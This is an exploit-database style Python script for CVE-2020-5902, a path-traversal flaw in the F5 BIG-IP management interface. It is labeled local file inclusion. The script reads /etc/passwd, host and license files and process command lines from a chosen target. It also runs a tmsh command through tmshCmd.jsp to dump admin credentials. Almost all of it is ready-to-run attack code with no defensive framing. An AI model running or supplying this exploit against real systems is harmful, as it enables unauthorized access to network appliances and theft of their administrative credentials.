F5 Big-IP 13.1.3 Build 0.0.6 Local File Inclusion

`# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion  
# Date: 2019-08-17  
# Exploit Author: Carlos E. Vieira  
# Vendor Homepage: https://www.f5.com/products/big-ip-services  
# Version: <= 13.1.3  
# Tested on: BIG-IP 13.1.3 Build 0.0.6  
# CVE : CVE-2020-5902  
  
#!/usr/bin/env python  
  
import requests  
import sys  
import time  
import urllib3  
import json   
urllib3.disable_warnings()  
  
global target  
  
def checkTarget():  
  
r = requests.head(target + "/tmui/login.jsp", verify=False)  
if(r.status_code == 200):  
return True  
else:  
return False  
  
def checkVuln():  
  
r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd", verify=False)  
if(r.status_code == 200):  
  
data = json.loads(r.text)  
if(len(data['output']) > 0):  
return True   
else:  
return False  
  
else:  
return False  
  
def leakPasswd():  
print("[+] Leaking /etc/passwd from server")  
time.sleep(2)  
exploit('/etc/passwd')  
  
  
def leakHosts():  
print("[+] Leaking /etc/hosts from server")  
time.sleep(2)  
exploit('/etc/hosts')  
  
def leakLicence():  
  
print("[+] Leaking /config/bigip.license from server")  
time.sleep(2)  
exploit('/config/bigip.license')  
  
def leakAdmin():  
  
print("[+] Leaking admin credentials from server")  
time.sleep(2)  
r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin", verify=False)  
if(r.status_code == 200):  
  
data = json.loads(r.text)  
if(len(data['output']) > 0 ):  
print(data['output'])  
else:  
print("[X] Admin credentials not found")  
else:  
print("[X] Fail to read file")  
  
  
def exploit(file):  
  
r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=" + file, verify=False)  
if(r.status_code == 200):  
data = json.loads(r.text)  
print(data['output'])  
else:  
print("[X] Fail to read file")  
  
def memoryLeak():  
print("[!] Leaking tomcat process from server")  
time.sleep(2)   
r = requests.get(target + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline", verify=False)  
if(r.status_code == 200):  
data = json.loads(r.text)  
if(len(data['output'])>0):  
print("Command: " + data['output'])  
  
def main(host):  
  
print("[+] Check target...")  
global target  
target = "https://" + host  
  
check = checkTarget()  
if(check):  
print("[~] Target is available")  
  
vuln = checkVuln()  
if(vuln):  
print("[+] Target is vulnerable!")  
  
time.sleep(1)  
print("[~] Leak information from target!")  
time.sleep(1)  
leakPasswd()  
leakHosts()  
leakLicence()  
leakAdmin()  
memoryLeak()  
else:  
print("[X] Target is't vulnerable")  
  
else:  
print("[x] Target is unavailable")  
  
  
if __name__ == "__main__":  
  
if(len(sys.argv) < 2):  
print("Use: python {} ip/dns".format(sys.argv[0]))  
else:  
host = sys.argv[1]  
main(host)  
`